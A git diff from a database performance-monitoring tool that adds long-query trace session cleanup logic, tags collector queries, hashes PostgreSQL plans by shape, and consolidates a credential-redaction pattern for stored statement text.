+/// What an on-premises drop needs to know about the instance (<see cref="LongQueryTraceDatabases.KeptOnInstance"/>): this
+/// registration's own last-known <c>@@SERVERNAME</c>, beside the other registrations of this install that are monitored
+/// with their trace on, each with its own. An app reads the names only when another registration could keep the
+/// session, so a fleet with no trace on reads none.
+///
+/// <para>The two callers treat a name that is not known differently, so the guard answers each question apart. The trace
+/// turned off drops as it always did unless a positive match says another registration keeps the session
+/// (<see cref="Kept"/>). A removed server is checked once and never again, so it leaves its session in place whenever
+/// another registration could keep it and the match cannot be ruled out (<see cref="RemovalSkipReason"/>): a wrong drop
+/// is worse than a stopped session left behind.</para>
+/// </summary>
+/// <param name="ServerName">This registration's last-known <c>@@SERVERNAME</c>, or null when it is not known.</param>
+/// <param name="Keepers">The other registrations of this install that are monitored with their trace on.</param>
+public sealed record LongQueryTraceInstanceGuard(string? ServerName, IReadOnlyList<LongQueryTraceInstance> Keepers)
+{
+    /// <summary>The guard of a registration that no other registration could keep a session for.</summary>
+    public static LongQueryTraceInstanceGuard NoKeepers { get; } = new(null, Array.Empty<LongQueryTraceInstance>());
+
+    /// <summary>True on a positive match: another registration keeps the trace on this registration's instance.</summary>
+    public bool Kept => LongQueryTraceDatabases.KeptOnInstance(ServerName, Keepers);
+
+    /// <summary>
+    /// Why a removed server's session must stay, or null when it may be dropped. No other registration could keep it:
+    /// drop, whatever the names. Otherwise a name that is not known cannot rule the others out, this registration's own or
+    /// that of a registration which keeps the trace on, and a match says one of them keeps it.
+    /// </summary>
+    public string? RemovalSkipReason()
+    {
+        var traceOn = Keepers.Where(keeper => keeper.Enabled && keeper.TraceOn).ToList();
+        if (traceOn.Count == 0)
+        {
+            return null;
+        }
+
+        if (string.IsNullOrWhiteSpace(ServerName))
+        {
+            return "this server's instance name is not known, so another registration of this install on the same instance cannot be ruled out";
+        }
+
+        if (Kept)
+        {
+            return "another registration of this install keeps it on the same instance";
+        }
+
+        return traceOn.Any(keeper => string.IsNullOrWhiteSpace(keeper.ServerName))
+            ? "the instance name of another registration of this install that keeps the trace on is not known, so it cannot be ruled out as the same instance"
+            : null;
+    }
+}
+
+/// <summary>
+/// What a failed cleanup pass leads to (<see cref="LongQueryTraceDropRetry.RecordFailure"/>).
+/// </summary>
+public enum LongQueryTraceDropOutcome
+{
+    /// <summary>Under the cap: the next cycle tries again, and the caller logs the failure as a warning.</summary>
+    TryAgainNextCycle,
+
+    /// <summary>
+    /// The last pass the cap allows: the caller marks the reconcile done and logs
+    /// <see cref="LongQueryTraceDatabases.GiveUpWarning"/> once. The next attempt comes an hour later.
+    /// </summary>
+    GaveUp,
+
+    /// <summary>An attempt after the cap failed: the caller logs it at Debug, and the next attempt comes an hour later.</summary>
+    TryAgainInAnHour,
+}
+
+/// <summary>
+/// Counts one registration's failed cleanup passes in a row, for <see cref="LongQueryTraceDatabases.DropAttemptCap"/>,
+/// and keeps the clock for the attempts after the cap, one every <see cref="LongQueryTraceDatabases.RetryInterval"/>.
+/// The count belongs to one state key (<see cref="LongQueryTraceDatabases.StateKey"/>): a pass that succeeds starts
+/// it again, and so does any change to the key, such as turning the trace on or off. The caller passes the time.
+/// </summary>
+public sealed class LongQueryTraceDropRetry
+{
+    private readonly object _gate = new();
+    private string? _stateKey;
+    private int _failures;
+    private DateTime? _nextAttemptUtc;
+
+    /// <summary>When the next attempt after the cap is due. Null until the cap gives up under the current key.</summary>
+    public DateTime? NextAttemptUtc
+    {
+        get
+        {
+            lock (_gate)
+            {
+                return _nextAttemptUtc;
+            }
+        }
+    }
+
+    /// <summary>Records a failed pass under this state key, and says what the caller does next.</summary>
+    public LongQueryTraceDropOutcome RecordFailure(string stateKey, DateTime utcNow)
+    {
+        lock (_gate)
+        {
+            if (!string.Equals(_stateKey, stateKey, StringComparison.Ordinal))
+            {
+                _stateKey = stateKey;
+                _failures = 0;
+                _nextAttemptUtc = null;
+            }
+
+            if (_nextAttemptUtc is not null)
+            {
+                _nextAttemptUtc = utcNow + LongQueryTraceDatabases.RetryInterval;
+                return LongQueryTraceDropOutcome.TryAgainInAnHour;
+            }
+
+            _failures++;
+            if (_failures < LongQueryTraceDatabases.DropAttemptCap)
+            {
+                return LongQueryTraceDropOutcome.TryAgainNextCycle;
+            }
+
+            _failures = 0;
+            _nextAttemptUtc = utcNow + LongQueryTraceDatabases.RetryInterval;
+            return LongQueryTraceDropOutcome.GaveUp;
+        }
+    }
+
+    /// <summary>
+    /// True when the cap gave up under this state key and the next attempt is due. The caller then runs the cleanup
+    /// pass again, although the reconcile is marked done.
+    /// </summary>
+    public bool RetryDue(string stateKey, DateTime utcNow)
+    {
+        lock (_gate)
+        {
+            return _nextAttemptUtc is { } next
+                && utcNow >= next
+                && string.Equals(_stateKey, stateKey, StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>
+    /// Starts the count again and stops the attempts after the cap: after a cleanup pass that succeeds, and in Darling
+    /// after every reconnect.
+    /// </summary>
+    public void Reset()
+    {
+        lock (_gate)
+        {
+            _stateKey = null;
+            _failures = 0;
+            _nextAttemptUtc = null;
+        }
+    }
+}
+
+/// <summary>
+/// A long-query trace reconcile that could not finish its drops: on Azure SQL Database, the database list could not
+/// be read or the drop failed in some databases (the others were still dropped); on every other engine
+/// (<see cref="ForServer"/>), the drop of the server's session failed. The caller does not mark the
+/// reconcile done, so the next cycle tries again, up to <see cref="LongQueryTraceDatabases.DropAttemptCap"/> passes
+/// in a row, and then once an hour (<see cref="LongQueryTraceDropRetry"/>). Every failure of the drop half reaches
+/// the caller as this type, which is what lets the caller's general handler stay for the create side.
+/// </summary>
+public sealed class LongQueryTraceDropException : Exception
+{
+    /// <summary>Creates the exception for the given databases. An empty list means the databases could not be listed.</summary>
+    public LongQueryTraceDropException(IReadOnlyList<string> databases, Exception firstFailure, string? createNote = null)
+        : base(Describe(databases, firstFailure), firstFailure)
+    {
+        Databases = databases;
+        CreateNote = createNote;
+    }
+
+    private LongQueryTraceDropException(Exception firstFailure)
+        : base($"Could not drop the long-query trace session: {firstFailure.Message}", firstFailure)
+    {
+        Databases = Array.Empty<string>();
+        OnServer = true;
+    }
+
+    /// <summary>
+    /// Creates the exception for a drop that failed where the session is the server's, on every engine but Azure SQL
+    /// Database. There is no database to name and no list to read.
+    /// </summary>
+    public static LongQueryTraceDropException ForServer(Exception firstFailure) => new(firstFailure);
+
+    /// <summary>True when the failed drop was of the server's own session, not of a database's. <see cref="Databases"/> is empty then.</summary>
+    public bool OnServer { get; }
+
+    /// <summary>The databases where the drop failed, so the session may remain there. Empty when the list could not be read.</summary>
+    public IReadOnlyList<string> Databases { get; }
+
+    /// <summary>Trace ON only: the create side's note about databases it could not create the session in.</summary>
+    public string? CreateNote { get; }
+
+    private static string Describe(IReadOnlyList<string> databases, Exception firstFailure) => databases.Count == 0
+        ? $"Could not list the databases to drop the long-query trace session from: {firstFailure.Message}"
+        : $"Could not drop the long-query trace session in {databases.Count} database(s) ({string.Join(", ", databases)}): {firstFailure.Message}";
+}
diff --git a/PerformanceMonitor.Collectors/LongQueryTraceStep.cs b/PerformanceMonitor.Collectors/LongQueryTraceStep.cs
new file mode 100644
index 0000000000..9c07f12e05
--- /dev/null
+++ b/PerformanceMonitor.Collectors/LongQueryTraceStep.cs
@@ -0,0 +1,64 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+namespace PerformanceMonitor.Collectors;
+
+/// <summary>
+/// One open-and-act step of the long-query trace's ensure: what runs on one connection. Lite and Darling name the same
+/// steps, so a test can see which connection string each one opens, with or without read-only intent (#4961).
+/// </summary>
+public enum LongQueryTraceStep
+{
+    /// <summary>
+    /// The registration's own connection creates the session when it is missing and starts it when it is stopped. Every
+    /// registration on a server-scoped engine, and a registration without read-only intent on Azure SQL Database.
+    /// </summary>
+    CreateAndStart,
+
+    /// <summary>
+    /// Azure SQL Database, a registration with read-only intent: a connection without read-only intent creates the
+    /// session's definition when it is missing, and does not start it there. A session cannot be created on a read-only
+    /// replica, and the definition replicates from the primary.
+    /// </summary>
+    CreateDefinition,
+
+    /// <summary>
+    /// Azure SQL Database, a registration with read-only intent: the registration's own read-only connection starts the
+    /// session. Run state is per replica, so the session runs only where it was started.
+    /// </summary>
+    Start,
+
+    /// <summary>
+    /// Azure SQL Database, a registration with read-only intent: the registration's own read-only connection reads whether the
+    /// session's definition is visible on its replica and whether the session runs there. The ensure opens a connection
+    /// without read-only intent only when this finds the definition missing (#4961).
+    /// </summary>
+    Check,
+
+    /// <summary>
+    /// Azure SQL Database, a registration with read-only intent: the registration's own read-only connection stops the
+    /// session, when it is running there. A session that runs on a read-only replica is stopped over a connection to that
+    /// replica, and only then dropped over a connection to the primary (#4961).
+    /// </summary>
+    Stop,
+
+    /// <summary>
+    /// Drops the session. One drop over the registration's own connection for a registration without read-only intent and on
+    /// every server-scoped engine. For a registration with read-only intent on Azure SQL Database, the drop of the
+    /// definition over a connection without read-only intent, after <see cref="Stop"/> (#4961).
+    /// </summary>
+    Drop,
+}
+
+/// <summary>
+/// What a registration with read-only intent finds on its own replica for the long-query session in one Azure SQL Database
+/// database (#4961): whether the definition is visible there, and whether the session runs there.
+/// </summary>
+/// <param name="DefinitionExists">The session's definition is in <c>sys.database_event_sessions</c> on the replica.</param>
+/// <param name="Running">The session runs on the replica (<c>sys.dm_xe_database_sessions</c>).</param>
+public readonly record struct LongQueryTraceReplicaState(bool DefinitionExists, bool Running);
diff --git a/PerformanceMonitor.Collectors/MemoryClerksCollector.cs b/PerformanceMonitor.Collectors/MemoryClerksCollector.cs
index 24ce556ab4..e531f725c6 100644
--- a/PerformanceMonitor.Collectors/MemoryClerksCollector.cs
+++ b/PerformanceMonitor.Collectors/MemoryClerksCollector.cs
@@ -30,7 +30,7 @@ private MemoryClerksCollector()
     private const string QueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT TOP (25)
+SELECT /* PerformanceMonitorLite */ TOP (25)
     clerk_type = mc.type,
     memory_mb = CONVERT(decimal(18,2), SUM(mc.pages_kb) / 1024.0)
 FROM sys.dm_os_memory_clerks AS mc
diff --git a/PerformanceMonitor.Collectors/MemoryGrantsCollector.cs b/PerformanceMonitor.Collectors/MemoryGrantsCollector.cs
index 7517fff520..3073afa2c6 100644
--- a/PerformanceMonitor.Collectors/MemoryGrantsCollector.cs
+++ b/PerformanceMonitor.Collectors/MemoryGrantsCollector.cs
@@ -57,7 +57,7 @@ public readonly record struct Row(
     private const string QueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     resource_semaphore_id = deqrs.resource_semaphore_id,
     pool_id = deqrs.pool_id,
     target_memory_mb = CONVERT(decimal(18,2), deqrs.target_memory_kb / 1024.0),
diff --git a/PerformanceMonitor.Collectors/MemoryPressureEventsCollector.cs b/PerformanceMonitor.Collectors/MemoryPressureEventsCollector.cs
index b35706e05c..d6d876503a 100644
--- a/PerformanceMonitor.Collectors/MemoryPressureEventsCollector.cs
+++ b/PerformanceMonitor.Collectors/MemoryPressureEventsCollector.cs
@@ -51,9 +51,9 @@ deliberately KEEPS SYSDATETIME(): its sample_time is documented as the monitored
        CollectorTimestampFrameTests pins both directions. */
     @now datetime2(7) = SYSUTCDATETIME();
 
-SELECT @ms_ticks = dosi.ms_ticks FROM sys.dm_os_sys_info AS dosi;
+SELECT /* PerformanceMonitorLite */ @ms_ticks = dosi.ms_ticks FROM sys.dm_os_sys_info AS dosi;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     /* MILLISECOND, not SECOND-truncated -- see CpuUtilizationCollector's identical fix (#2749) for the
        full explanation: dividing by 1000 before DATEADD(SECOND, ...) discards the sub-second remainder,
        which differs on every poll, so re-reading the same ring-buffer entry on a later cycle recomputes a
diff --git a/PerformanceMonitor.Collectors/MemoryStatsCollector.cs b/PerformanceMonitor.Collectors/MemoryStatsCollector.cs
index 1515517857..5914be7d1d 100644
--- a/PerformanceMonitor.Collectors/MemoryStatsCollector.cs
+++ b/PerformanceMonitor.Collectors/MemoryStatsCollector.cs
@@ -47,7 +47,7 @@ public readonly record struct Row(
     private const string AzureSqlDbQueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     total_physical_memory_mb = CONVERT(decimal(18,2), osi.committed_target_kb / 1024.0),
     available_physical_memory_mb = CONVERT(decimal(18,2), (osi.committed_target_kb - osi.committed_kb) / 1024.0),
     total_page_file_mb = CONVERT(decimal(18,2), 0),
@@ -91,7 +91,7 @@ FROM sys.dm_os_performance_counters
     private const string OnPremQueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     total_physical_memory_mb = CONVERT(decimal(18,2), osm.total_physical_memory_kb / 1024.0),
     available_physical_memory_mb = CONVERT(decimal(18,2), osm.available_physical_memory_kb / 1024.0),
     total_page_file_mb = CONVERT(decimal(18,2), osm.total_page_file_kb / 1024.0),
diff --git a/PerformanceMonitor.Collectors/PerfmonStatsCollector.cs b/PerformanceMonitor.Collectors/PerfmonStatsCollector.cs
index aece7486f4..547b6d9b64 100644
--- a/PerformanceMonitor.Collectors/PerfmonStatsCollector.cs
+++ b/PerformanceMonitor.Collectors/PerfmonStatsCollector.cs
@@ -55,13 +55,12 @@ private PerfmonStatsCollector()
     /// calculator's reset marker in place of the number the operator wanted.
     ///
     /// <para>This is the write half of one rule whose read half is
-    /// <c>PerformanceMonitor.Common.PerfmonCounterTypes.GaugeTypes</c>. The two live in assemblies that
-    /// reference neither each other nor a common third (Collectors is kept free of the MCP SDK and the
-    /// credential store that Common carries), so the set is spelled twice and
-    /// <c>Lite.Tests/PerfmonCounterTypeTests</c> asserts the spellings equal — a type added to one side
-    /// without the other fails there, not in a chart.</para>
+    /// <c>PerformanceMonitor.Common.PerfmonCounterTypes.GaugeTypes</c>. The set is declared once, there: this
+    /// assembly references Common (the statement filter's scrub session lives in it), so the collector reads
+    /// the vocabulary's set instead of spelling its own, and a type added to the vocabulary changes what the
+    /// collector writes in the same edit.</para>
     /// </summary>
-    public static readonly IReadOnlySet<int> GaugeCounterTypes = new HashSet<int> { 65792, 65536 };
+    public static IReadOnlySet<int> GaugeCounterTypes => PerformanceMonitor.Common.PerfmonCounterTypes.GaugeTypes;
 
     /// <summary>True when the row's stored type is a gauge and the row is written as its level: no delta call,
     /// NULL <c>delta_cntr_value</c>, NULL <c>sample_interval_seconds</c>.</summary>
@@ -161,7 +160,7 @@ public override CollectorQuery BuildQuery(CollectorContext context)
         var query = $@"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     object_name = RTRIM(pc.object_name),
     counter_name = RTRIM(pc.counter_name),
     instance_name = RTRIM(pc.instance_name),
diff --git a/PerformanceMonitor.Collectors/PgLogTextRedactor.cs b/PerformanceMonitor.Collectors/PgLogTextRedactor.cs
index 4c2bcbf619..d23f3b87d1 100644
--- a/PerformanceMonitor.Collectors/PgLogTextRedactor.cs
+++ b/PerformanceMonitor.Collectors/PgLogTextRedactor.cs
@@ -398,6 +398,11 @@ this frame is withheld with the rest of the field. */
         @"^duration: [0-9]+(?:\.[0-9]+)? ms  plan:$",
         RegexOptions.Compiled | RegexOptions.CultureInvariant);
 
+    /// <summary>Whether a message is auto_explain's plan head, <c>duration: N ms  plan:</c>, whose plan is on the lines
+    /// under it (#5097). The one spelling of the head, shared with <see cref="WithholdPlan"/>.</summary>
+    public static bool IsPlanHead(string? firstLineMessage) =>
+        firstLineMessage is not null && s_planHead.IsMatch(firstLineMessage);
+
     /// <summary>What an auto_explain plan becomes in a stored message: its statement's text rides in it.</summary>
     public const string WithheldPlan = "<plan withheld: auto_explain writes the statement's text into it>";
 
diff --git a/PerformanceMonitor.Collectors/PgPlanLogParser.cs b/PerformanceMonitor.Collectors/PgPlanLogParser.cs
index d16c06f813..6bf4271f6c 100644
--- a/PerformanceMonitor.Collectors/PgPlanLogParser.cs
+++ b/PerformanceMonitor.Collectors/PgPlanLogParser.cs
@@ -31,16 +31,30 @@ namespace PerformanceMonitor.Collectors;
 ///
 /// <para><b>What redaction does, and the asymmetry that matters.</b> <c>Query Text</c> is removed outright —
 /// <c>auto_explain</c> emits the statement verbatim and <c>log_parameter_max_length = 0</c> does not
-/// suppress it, because that setting covers bind parameters only. Quoted literals are then stripped from
+/// suppress it, because that setting covers bind parameters only. The root-level <c>Query Parameters</c>
+/// (PostgreSQL 16 and later write every bind value there unless that setting is 0) is removed the same way,
+/// before the hash is taken, so a value neither reaches the store nor splits one plan shape into one hash
+/// per parameter value (#5103). Quoted literals are then stripped from
 /// EVERY remaining string, which is safe because relation and alias names are not quoted. Bare numbers are
 /// stripped only inside condition fields: a blanket numeric strip would rewrite a relation genuinely named
 /// <c>transactionitems1</c> into <c>transactionitems?</c>, destroying identity to hide a value that was
 /// never there.</para>
+///
+/// <para><b>The hash covers the plan's SHAPE, not its estimates (#5114).</b> The stored JSON keeps everything
+/// <c>auto_explain</c> wrote, but the hash is taken over a projection of it: costs, row and width estimates,
+/// every <c>log_analyze</c> counter (WAL, index searches), any <c>Estimated *</c> key, buffer and I/O figures, <c>Settings</c>, <c>JIT</c>, timings and the number of
+/// workers planned are dropped, because they drift between captures of one plan (statistics refresh, cache state,
+/// a setting) and would read as a plan change. What stays is the tree: node types, join order and method, relations,
+/// indexes, scan direction, parallel awareness and every condition and key field. The projection is a DENYLIST, so a
+/// key this parser has never seen stays in the hash and over-splits, which is the safe direction: an allowlist would
+/// silently merge a real difference it did not know about.</para>
 /// </summary>
 public static class PgPlanLogParser
 {
-    /// <param name="PlanHash">Of the REDACTED plan, so one shape recurs to one hash whatever values it ran
-    /// with. Hashing the raw text would defeat dedup exactly where it matters most.</param>
+    /// <param name="PlanHash">Of the REDACTED plan's SHAPE, so one shape recurs to one hash whatever values it ran
+    /// with and whatever its estimates were: costs, row estimates, runtime counters, buffers, <c>Settings</c> and
+    /// <c>JIT</c> are not hashed (#5114), and <paramref name="PlanJson"/> keeps them. Hashing the raw text would defeat
+    /// grouping exactly where it matters most. A plan with none of those fields hashes as it did before #5114.</param>
     public readonly record struct ParsedPlan(
         long QueryId,
         double DurationMs,
@@ -138,7 +152,7 @@ internal static bool PrefixCarriesQueryIdAfterPid(string? logLinePrefix)
     {
         "Filter", "Index Cond", "Recheck Cond", "Join Filter", "Hash Cond", "Merge Cond",
         "TID Cond", "One-Time Filter", "Cache Key", "Function Call", "Output", "Group Key",
-        "Sort Key", "Presorted Key", "Hash Key", "Conflict Filter", "Repeatable Seed",
+        "Sort Key", "Presorted Key", "Hash Key", "Conflict Filter", "Repeatable Seed", "Run Condition", "Order By", "Table Function Call",
     };
 
     /* INTERNAL rather than private, and that is the sharing mechanism (#3601): PgLogTextRedactor applies
@@ -241,8 +255,12 @@ public static List<ParsedPlan> Extract(string? logBody, string? logLinePrefix =
             return null;
         }
 
-        /* Removed BEFORE anything else touches the tree, so no later step can carry it by accident. */
+        /* Removed BEFORE anything else touches the tree, so no later step can carry it by accident. Query
+           Parameters is the bind values (PostgreSQL 16+, auto_explain.log_parameter_max_length != 0); left in,
+           it would store them and make PlanHash differ per value (#5103). #5114 extends the same rule from bind
+           values to estimates: the hash below is taken over the plan's shape, never its numbers. */
         root.Remove("Query Text");
+        root.Remove("Query Parameters");
 
         Redact(plan);
 
@@ -251,7 +269,7 @@ public static List<ParsedPlan> Extract(string? logBody, string? logLinePrefix =
         return new ParsedPlan(
             QueryId: queryId,
             DurationMs: durationMs,
-            PlanHash: Hash(json),
+            PlanHash: ShapeHash(root),
             NodeCount: CountNodes(plan),
             TopNodeType: plan["Node Type"]?.GetValue<string>(),
             PlanJson: json);
@@ -325,6 +343,82 @@ private static int CountNodes(JsonObject plan)
         return count;
     }
 
+    /* Keys that sit beside "Plan" at the root and say how one execution went, not what the plan is. */
+    private static readonly HashSet<string> s_rootVolatile = new(StringComparer.Ordinal)
+    {
+        "Settings", "JIT", "Planning Time", "Execution Time", "Planning", "Triggers",
+    };
+
+    /* Keys on a plan node that are an estimate, a runtime counter, a buffer figure or a degree the planner derives
+       from estimates. The pattern families in IsVolatileNodeKey cover the rest (Actual *, Estimated *, Rows Removed by *,
+       * Blocks, * I/O *, WAL *). Anything NOT listed or matched stays in the hash: unknown means shape. */
+    private static readonly HashSet<string> s_nodeVolatile = new(StringComparer.Ordinal)
+    {
+        "Startup Cost", "Total Cost", "Plan Rows", "Plan Width", "Planned Partitions",
+        "Heap Fetches", "Exact Heap Blocks", "Lossy Heap Blocks",
+        "Sort Method", "Sort Space Used", "Sort Space Type", "Peak Memory Usage",
+        "Hash Buckets", "Original Hash Buckets", "Hash Batches", "Original Hash Batches", "Disk Usage", "HashAgg Batches",
+        "Workers Planned", "Workers Launched", "Workers",
+        "Cache Hits", "Cache Misses", "Cache Evictions", "Cache Overflows",
+        "Full-sort Groups", "Pre-sorted Groups",
+        "Storage", "Maximum Storage",
+        "Tuples Inserted", "Conflicting Tuples",
+        "Index Searches",
+        "Subplans Removed",
+    };
+
+    /// <summary>True for a plan-node key that is not part of the plan's shape (#5114).</summary>
+    internal static bool IsVolatileNodeKey(string key) =>
+        s_nodeVolatile.Contains(key)
+        || key.StartsWith("Actual ", StringComparison.Ordinal)
+        || key.StartsWith("Estimated ", StringComparison.Ordinal)
+        || key.StartsWith("WAL ", StringComparison.Ordinal)
+        || key.StartsWith("Rows Removed by ", StringComparison.Ordinal)
+        || key.EndsWith(" Blocks", StringComparison.Ordinal)
+        || key.Contains("I/O ", StringComparison.Ordinal);
+
+    /// <summary>Removes the volatile keys from a plan node and every node beneath it, in place. InitPlan and SubPlan
+    /// children live in <c>Plans</c> too, and the array order is kept: it is the join order.</summary>
+    internal static void ProjectShape(JsonObject node)
+    {
+        foreach (var property in node.ToList())
+        {
+            if (IsVolatileNodeKey(property.Key))
+            {
+                node.Remove(property.Key);
+            }
+        }
+
+        if (node["Plans"] is JsonArray children)
+        {
+            foreach (var child in children)
+            {
+                if (child is JsonObject childNode)
+                {
+                    ProjectShape(childNode);
+                }
+            }
+        }
+    }
+
+    /// <summary>The hash of a REDACTED root's shape. Works on a clone, so the root (and the JSON stored from it) keeps
+    /// every estimate. 32 uppercase hex characters, as before.</summary>
+    internal static string ShapeHash(JsonObject redactedRoot)
+    {
+        var clone = (JsonObject)redactedRoot.DeepClone();
+        foreach (var key in s_rootVolatile)
+        {
+            clone.Remove(key);
+        }
+
+        if (clone["Plan"] is JsonObject plan)
+        {
+            ProjectShape(plan);
+        }
+
+        return Hash(clone.ToJsonString());
+    }
+
     private static string Hash(string json)
     {
         var bytes = SHA256.HashData(Encoding.UTF8.GetBytes(json));
diff --git a/PerformanceMonitor.Collectors/PgSensitiveStatementFilter.cs b/PerformanceMonitor.Collectors/PgSensitiveStatementFilter.cs
index 496ac5e1b6..e65c0525c6 100644
--- a/PerformanceMonitor.Collectors/PgSensitiveStatementFilter.cs
+++ b/PerformanceMonitor.Collectors/PgSensitiveStatementFilter.cs
@@ -6,6 +6,8 @@
  * Licensed under the MIT License. See LICENSE file in the project root for full license information.
  */
 
+using PerformanceMonitor.Common;
+
 namespace PerformanceMonitor.Collectors;
 
 /// <summary>
@@ -16,6 +18,9 @@ namespace PerformanceMonitor.Collectors;
 /// with PostgreSQL's own regex engine (the <c>~*</c> operator) everywhere it is used, so a store and a
 /// collector can never drift apart on what counts as sensitive.
 ///
+/// <para>The pattern itself now lives in <see cref="SensitiveStatements"/>; this class keeps the PostgreSQL
+/// helpers that embed it in SQL.</para>
+///
 /// <para><b>Why a PostgreSQL regex, not a .NET one.</b> The pattern uses POSIX ARE syntax
 /// (<c>[[:&lt;:]]</c>/<c>[[:&gt;:]]</c> word boundaries, <c>[[:space:]]</c> classes) that only PostgreSQL's
 /// engine understands, and it has no backslash so it means the same thing under either
@@ -25,37 +30,19 @@ namespace PerformanceMonitor.Collectors;
 /// </summary>
 public static class PgSensitiveStatementFilter
 {
-    /// <summary>What may separate two SQL tokens: whitespace, a block comment or a line comment. Used only by
-    /// <see cref="SensitiveStatementPattern"/>, a blocklist, where reading a comment short can only add matches.
-    /// </summary>
-    private const string TokenGap = "([[:space:]]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^[:cntrl:]]*)";
-
     /// <summary>
     /// The statements whose text can carry a credential, as a case-insensitive PostgreSQL regular expression:
-    /// any <c>CREATE</c> or <c>ALTER</c> of a role, user, group, subscription or server — withheld by name
-    /// alone, whether or not that particular statement happens to carry a literal, because subscription and
-    /// foreign-server DDL can carry a connection string in options other than a trailing literal — a
-    /// <c>PASSWORD</c> keyword followed by a literal (covers role, user and group DDL's <c>PASSWORD</c>
-    /// clause, and <c>CREATE/ALTER USER MAPPING</c>'s password option, since both always end in the literal),
-    /// a libpq <c>password=</c> or <c>PGPASSWORD=</c> setting (covers a connection string wherever it appears —
-    /// subscription DDL, foreign server DDL, <c>dblink</c>), and a URI's <c>user:secret@</c>, with comments
-    /// allowed wherever the grammar allows whitespace.
-    ///
-    /// <para><b>No backslash, on purpose.</b> <c>[[:&lt;:]]</c>, <c>[[:&gt;:]]</c>, <c>[[:space:]]</c>,
-    /// <c>[*]</c> and <c>[$]</c> spell what a first version wrote with backslash escapes, so the literal means
-    /// the same under either <c>standard_conforming_strings</c> setting. A normalized DML parameter
-    /// (<c>password = $1</c>) is not a hit: it carries no value.</para>
+    /// an alias of the one shared definition, <see cref="SensitiveStatements.Pattern"/> (PostgreSQL's own
+    /// credential forms and the T-SQL ones, #4348). A const alias, not a copy, so the string is the same
+    /// instance everywhere and no second definition can drift.
     /// </summary>
-    public const string SensitiveStatementPattern =
-        "[[:<:]](create|alter)" + TokenGap + "+(role|user|group|subscription|server)[[:>:]]"
-        + "|[[:<:]]password[[:>:]]" + TokenGap + "*(=|to)?" + TokenGap + "*(e?'|u&'|[$][^0-9])"
-        + "|[[:<:]](pg)?password[[:space:]]*=[[:space:]]*[^$[:space:]]"
-        + "|[a-z][a-z0-9+.-]*://[^[:space:]/@:]+:[^[:space:]/@]+@";
+    public const string SensitiveStatementPattern = SensitiveStatements.Pattern;
 
     /// <summary>What a collector or reader stores/returns in place of a statement <see cref="SensitiveStatementPattern"/>
-    /// names, in place of its text. Fixed, so a reader never has to distinguish "withheld" from "not captured
-    /// yet" by anything other than this literal.</summary>
-    public const string PlaceholderText = "-- statement text withheld (#4348)";
+    /// names, in place of its text: an alias of <see cref="SensitiveStatements.PlaceholderText"/>. Fixed, so a
+    /// reader never has to distinguish "withheld" from "not captured yet" by anything other than this
+    /// literal.</summary>
+    public const string PlaceholderText = SensitiveStatements.PlaceholderText;
 
     /// <summary>
     /// A value as a single-quoted SQL string literal, with its own quote characters doubled — the one rule
@@ -71,8 +58,12 @@ public static class PgSensitiveStatementFilter
     /// so <c>PgStatementText</c> and <c>PgBlockingCollector</c> embed the identical expression rather than each
     /// composing their own copy.
     /// </summary>
-    public static string SqlPredicate(string column) =>
-        "CASE WHEN " + column + " ~* " + SqlLiteral(SensitiveStatementPattern) +
+    public static string SqlPredicate(string column) => SqlPredicate(column, SensitiveStatementPattern);
+
+    /// <summary>The same expression with an explicit pattern, for a caller that must stay on a frozen one
+    /// (the stored-text scrub keeps its version 1 pattern); the placeholder stays the shared one.</summary>
+    public static string SqlPredicate(string column, string pattern) =>
+        "CASE WHEN " + column + " ~* " + SqlLiteral(pattern) +
         " THEN " + SqlLiteral(PlaceholderText) +
         " ELSE " + column + " END";
 }
diff --git a/PerformanceMonitor.Collectors/PlanCacheStatsCollector.cs b/PerformanceMonitor.Collectors/PlanCacheStatsCollector.cs
index e99f027fb8..fffdd507c9 100644
--- a/PerformanceMonitor.Collectors/PlanCacheStatsCollector.cs
+++ b/PerformanceMonitor.Collectors/PlanCacheStatsCollector.cs
@@ -60,7 +60,7 @@ Dashboard table. */
     private const string QueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     cacheobjtype = cp.cacheobjtype,
     objtype = cp.objtype,
     total_plans = CONVERT(integer, COUNT_BIG(*)),
diff --git a/PerformanceMonitor.Collectors/PlanCorrectionCollector.cs b/PerformanceMonitor.Collectors/PlanCorrectionCollector.cs
index d7f7c5bd71..76b0827c4d 100644
--- a/PerformanceMonitor.Collectors/PlanCorrectionCollector.cs
+++ b/PerformanceMonitor.Collectors/PlanCorrectionCollector.cs
@@ -12,6 +12,7 @@
 using System.Globalization;
 using System.Threading;
 using System.Threading.Tasks;
+using PerformanceMonitor.Common;
 
 namespace PerformanceMonitor.Collectors;
 
@@ -200,7 +201,7 @@ Query Store joins below seek a real row count instead of scanning the whole plan
 DROP TABLE IF EXISTS #pm_plan_correction_queries;
 DROP TABLE IF EXISTS #pm_plan_correction_query_text;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     recommendation_name = dtr.name,
     recommendation_type = dtr.type,
     recommendation_state = JSON_VALUE(dtr.state, '$.currentValue'),
@@ -280,7 +281,7 @@ CROSS APPLY
   catalog views are seeked once each here and never joined by the shipping SELECT below. Plans are
   keyed by the (query_id, last_good_plan_id) pair the final join needs; queries by query_id; text by
   query_text_id from the queries temp, the same plan -> query -> text chain sp_QuickieStore walks.*/
-SELECT
+SELECT /* PerformanceMonitorLite */
     query_id = qsp.query_id,
     plan_id = qsp.plan_id,
     plan_forcing_type_desc = qsp.plan_forcing_type_desc,
